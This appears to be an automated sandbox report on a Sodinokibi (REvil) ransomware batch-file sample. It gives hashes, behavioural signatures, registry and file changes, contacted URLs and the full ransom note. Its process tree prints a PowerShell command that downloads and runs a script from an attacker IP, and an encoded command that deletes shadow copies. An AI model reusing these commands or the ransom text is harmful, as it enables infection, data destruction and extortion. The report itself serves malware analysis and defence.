sodinokibi | 8508a74435256a2c8472db03d6c09f8ac0d60ded076803d1dc9e5bec75b162ac

General

Target

bRDkHdRf.bat
Size

189B
MD5

b0fdd8126abe00e3607bc60b33cfd211
SHA1

22fe9dfc70b79b53d6a958d30c42dd7640554e8d
SHA256

8508a74435256a2c8472db03d6c09f8ac0d60ded076803d1dc9e5bec75b162ac
SHA512

cc6eab2d339081bce0d73366bda16a138f53f6ee31b0d39a23ffbe4dfb68511a8d0917092296706b8d9fba32d0aa0efea2d9c89b88baaa5f2b36fe426302514d

Score

10^/10

ransomware evasion spyware trojan sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/bRDkHdRf

Extracted

Path

C:\ivx701a929-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. OSTEAD. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ivx701a929. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FB14B9B4438547FC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/FB14B9B4438547FC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: R0hPrLslpFUUNBjfeCGcwHMlWqoHwFDYEoyctNwVIC3MkuKbluribspacY+AtUpW HXNtiTkBKCIJtZZ2E0b9CVe5UuWKgXqPERTfExZYheqRUry+pL//nN8bGdpsjkRx oYwo4wyZhwsevS4LIc2C5kboncsIhViyWLCFyGZg7x1kXn/bn2OlOmaGchePbcaY 5AS268A6SNr8aEQYOwbjYolRnfDyPXmGAeyeWLbnoJYpb4JRwAhh0iv8JmusWN2z I8cZN0UDe/PG7IGL6PowOY0hhFCrXLiW0y/C7UgZ7rdbcZo1mJP2uQu9EthRLDRF 9BdVq6KSgEQV9LjLXr9oWA59ZOUqguO1c5snQzTLBK4nrYh/XBuMMIWM8W3+amIj ZSbbtgsuSZIyc50koc4y21/KnLYpitTi3/X40ekX0k3GA+ESYNBhRYEbh5vymR1H wQD0IbKpSZEEci3oltQxLflqvMSHwKBP35M9nhw/axaH7ATpWwbLA2keOtwSq9yR /vt8ItmlcTt9xikbrBSMxDRwjtncM+ecZu6AG9qhbsafn7DpbJPgKOWHHxjTMj32 DmkT6TLitNhwnPjODhpjgw6B62YZlB35TFi94GIURf1EvkB2hwsfggHDKw4u8K9m htm8dnzCRiv+LnoIFYaJtlVcltXzHSOalzgtnjx9UY9tqdunYCmJem9WDiz4va8h ry3LR+bNIUSyE+mKNNcmuZEyr6Lhcsws7qORzpqr/nzjCDoFJfC05SnzpihKURs/ BHyjGaapQiCrxekTq+C26oKcbIXMsnLiz85ewqqq0PTq9T9cnyJW869toX+aGT2Y klIAtJ8dhoAF6f55em+QwmxQJZW3+kVsIgcECvGIsOGIuPY1/2GEBttyCILBnnFN cMOLE7bc/FBZ63lP6TZ3DR5ZmqSWom4e/c+hQqgnbY31D28m0SqdHCx3r/rxV4Wf aM4fE/JT4OfqkemkrZoSx2Ohl9LjVa6G+w4XTspQhEFLHZzk8oyHGbQgN/Dpk5Co pWc+BQBcDVvBFiyb9oCqWNtFk8SNTokRZHBskgoyFsLgC8pOWysCOcDGFuq5jxI2 8LcAhC645DlnFg7aXcFQmRE2YFOia2Mv4/8u4YYBkuj+BFQAWo3CUOa7+ajbh0Iy fX2pFG0f519HzcKfbpRZjv8UUR3DYZYEEVvfbBPNCTyYADeEcxAosAwaSUIh0H9F /qnpdG2L7vlryWC3WT5WeN5fWRQGVRQo2/QL0owN5LuFq3EgGNnbmUJkftQ2tFHe x7LheHdyMTgB69RKCPG59m72jUbiwl3iaV72FkK49CBK9coHHz/hFQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/FB14B9B4438547FC

http://decryptor.cc/FB14B9B4438547FC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1036 powershell.exe

pid	process
1036	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeBackupPrivilege	1728	vssvc.exe
Token: SeRestorePrivilege	1728	vssvc.exe
Token: SeAuditPrivilege	1728	vssvc.exe
Token: SeTakeOwnershipPrivilege	1036	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1036 powershell.exe
1036 powershell.exe
1036 powershell.exe
1508 powershell.exe
1508 powershell.exe

pid	process
1036	powershell.exe
1036	powershell.exe
1036	powershell.exe
1508	powershell.exe
1508	powershell.exe

Blacklisted process makes network request 56 IoCs

Processes:

powershell.exe

flow	pid	process
3	1036	powershell.exe
5	1036	powershell.exe
6	1036	powershell.exe
8	1036	powershell.exe
10	1036	powershell.exe
11	1036	powershell.exe
13	1036	powershell.exe
15	1036	powershell.exe
17	1036	powershell.exe
18	1036	powershell.exe
20	1036	powershell.exe
21	1036	powershell.exe
23	1036	powershell.exe
24	1036	powershell.exe
26	1036	powershell.exe
27	1036	powershell.exe
29	1036	powershell.exe
31	1036	powershell.exe
32	1036	powershell.exe
34	1036	powershell.exe
37	1036	powershell.exe
39	1036	powershell.exe
41	1036	powershell.exe
42	1036	powershell.exe
45	1036	powershell.exe
46	1036	powershell.exe
48	1036	powershell.exe
50	1036	powershell.exe
52	1036	powershell.exe
56	1036	powershell.exe
58	1036	powershell.exe
59	1036	powershell.exe
61	1036	powershell.exe
63	1036	powershell.exe
64	1036	powershell.exe
66	1036	powershell.exe
68	1036	powershell.exe
69	1036	powershell.exe
71	1036	powershell.exe
72	1036	powershell.exe
74	1036	powershell.exe
76	1036	powershell.exe
81	1036	powershell.exe
83	1036	powershell.exe
85	1036	powershell.exe
87	1036	powershell.exe
89	1036	powershell.exe
91	1036	powershell.exe
92	1036	powershell.exe
93	1036	powershell.exe
95	1036	powershell.exe
97	1036	powershell.exe
98	1036	powershell.exe
100	1036	powershell.exe
102	1036	powershell.exe
104	1036	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3765897441-2376744223-3151462503-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\76bzc.bmp"	powershell.exe

Makes http(s) request 17 IoCs

Contacts server via http/https, possibly for C2 communication.

Processes:

description	flow	ioc
HTTP URL	81	https://triactis.com/news/images/es.png
HTTP URL	83	https://www.triactis.com/page-403.php
HTTP URL	85	https://waynela.com/news/images/evpoulkh.jpg
HTTP URL	8	https://patrickfoundation.net/uploads/graphic/roefpdiqqsjygs.jpg
HTTP URL	13	https://allfortheloveofyou.com/content/image/wrkpwaxyhemh.png
HTTP URL	15	https://hexcreatives.co/uploads/assets/tnajacsaxbgj.png
HTTP URL	37	https://coding-marking.com/static/assets/qubvwwiv.png
HTTP URL	61	https://danskretursystem.dk/static/images/insn.jpg
HTTP URL	3	http://185.103.242.78/pastes/bRDkHdRf
HTTP URL	87	https://www.waynela.com/news/images/evpoulkh.jpg
HTTP URL	91	https://zewatchers.com/news/images/zewtjx.jpg
HTTP URL	64	https://www.danskretursystem.dk/static/images/insn.jpg/
HTTP URL	76	https://gymnasedumanagement.com/data/pictures/bneint.gif
HTTP URL	34	https://stoeferlehalle.de/news/graphic/uhymeidy.jpg
HTTP URL	39	https://serce.info.pl/content/temp/ko.gif
HTTP URL	50	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
HTTP URL	63	https://www.danskretursystem.dk/static/images/insn.jpg

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 2024 wrote to memory of 1036	2024	cmd.exe	powershell.exe
PID 1036 wrote to memory of 1508	1036	powershell.exe	powershell.exe
PID 1036 wrote to memory of 1508	1036	powershell.exe	powershell.exe
PID 1036 wrote to memory of 1508	1036	powershell.exe	powershell.exe
PID 1036 wrote to memory of 1508	1036	powershell.exe	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 16 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files (x86)\ivx701a929-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\LimitGrant.snd	powershell.exe
File opened for modification	\??\c:\program files\SuspendGet.odt	powershell.exe
File opened for modification	\??\c:\program files\UpdateUnpublish.xht	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\ivx701a929-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\ivx701a929-readme.txt	powershell.exe
File created	\??\c:\program files\ivx701a929-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisableUndo.au3	powershell.exe
File opened for modification	\??\c:\program files\EnableSync.edrwx	powershell.exe
File opened for modification	\??\c:\program files\JoinClear.pptm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\ivx701a929-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RegisterUnregister.mpg	powershell.exe
File opened for modification	\??\c:\program files\SaveRepair.emz	powershell.exe
File opened for modification	\??\c:\program files\CompleteUninstall.dotx	powershell.exe
File opened for modification	\??\c:\program files\ConvertToRestore.ttc	powershell.exe
File opened for modification	\??\c:\program files\SwitchUnprotect.wm	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bRDkHdRf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/bRDkHdRf');Invoke-JUCJCK;Start-Sleep -s 10000"
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Modifies system certificate store
- Drops file in Program Files directory
PID:1036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1508

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_05471756-4b9c-45e9-8ddd-05fab605d637

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_20b90e15-f237-499e-a823-6772568bf000

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_37386d62-281a-4a91-a575-6755e45f3238

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5028523d-10aa-4674-b3d1-9db9e7b9fbf6

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a24b3c29-8785-47a4-90c7-9951cb5bf055

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b3feaac6-0199-4ad4-87ff-a4b7cbd02223

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads